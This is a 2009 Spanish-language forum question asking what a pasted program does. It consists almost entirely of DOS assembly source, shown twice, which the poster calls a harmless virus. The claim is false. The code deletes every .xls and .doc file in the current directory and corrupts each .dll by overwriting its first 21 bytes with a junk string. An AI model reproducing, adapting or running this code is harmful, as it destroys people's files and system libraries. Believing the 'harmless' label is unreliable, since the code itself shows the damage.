que hace este programa?
Publicado por dario (1 intervención) el 31/01/2009 00:19:10
este programa es un virus inofencivo,la cuestion es que necesioto saber que es lo que hace.
este es el codigo del programa:
.model small ;
.stack ;
.data ;
mascara db "*.xls",0 ;
mascara2 db "*.doc",0 ;
mascara3 db "*.dll",0 ;
inserta db "3466776ds7674hd873hd8" ;
.code ;
inicio:
mov ax,@data ;
mov ds,ax ;
mov ah,4Eh ;
salto1:
mov cx,0000h ;
lea dx,mascara ;
int 21h ;
jc segundo ;
xor bx,bx ;
mov dx,es
mov ds,dx
mov bx,9eh ;
mov ah,41h ;
lea dx,[bx] ;
int 21h
xor bx,bx ;
mov ah,4fh ;
jmp salto1 ;
segundo:
mov ax,@data ;
mov ds,ax ;
mov ah,4eh ;
salto2:
mov cx,0000h
lea dx,mascara2 ;
int 21h ;
jc tercero ;
xor bx,bx ;
mov dx,es ;
mov ds,dx
mov bx,9eh
mov ah,41h ;
lea dx,[bx] ;
int 21h ;
xor bx,bx
mov ah,4fh ;
jmp salto2
tercero:
mov ax,@data ;
mov ds,ax ;
mov ah,4eh ;
salto3:
mov cx,0000h
lea dx,mascara3 ;
int 21h ;
jc salir ;
xor bx,bx
mov dx,es
mov ds,dx
mov bx,9eh
mov ax,3d01h ;
lea dx,[bx] ;
int 21h ;
xchg ax,bx
mov ah,40h ;
mov cx,21 ;
lea dx, inserta ;
int 21h
mov ah,4fh ;
jmp salto3
salir:
mov ah,4ch ;
int 21h
end inicio
este es el codigo del programa:
.model small ;
.stack ;
.data ;
mascara db "*.xls",0 ;
mascara2 db "*.doc",0 ;
mascara3 db "*.dll",0 ;
inserta db "3466776ds7674hd873hd8" ;
.code ;
inicio:
mov ax,@data ;
mov ds,ax ;
mov ah,4Eh ;
salto1:
mov cx,0000h ;
lea dx,mascara ;
int 21h ;
jc segundo ;
xor bx,bx ;
mov dx,es
mov ds,dx
mov bx,9eh ;
mov ah,41h ;
lea dx,[bx] ;
int 21h
xor bx,bx ;
mov ah,4fh ;
jmp salto1 ;
segundo:
mov ax,@data ;
mov ds,ax ;
mov ah,4eh ;
salto2:
mov cx,0000h
lea dx,mascara2 ;
int 21h ;
jc tercero ;
xor bx,bx ;
mov dx,es ;
mov ds,dx
mov bx,9eh
mov ah,41h ;
lea dx,[bx] ;
int 21h ;
xor bx,bx
mov ah,4fh ;
jmp salto2
tercero:
mov ax,@data ;
mov ds,ax ;
mov ah,4eh ;
salto3:
mov cx,0000h
lea dx,mascara3 ;
int 21h ;
jc salir ;
xor bx,bx
mov dx,es
mov ds,dx
mov bx,9eh
mov ax,3d01h ;
lea dx,[bx] ;
int 21h ;
xchg ax,bx
mov ah,40h ;
mov cx,21 ;
lea dx, inserta ;
int 21h
mov ah,4fh ;
jmp salto3
salir:
mov ah,4ch ;
int 21h
end inicio
Valora esta pregunta


0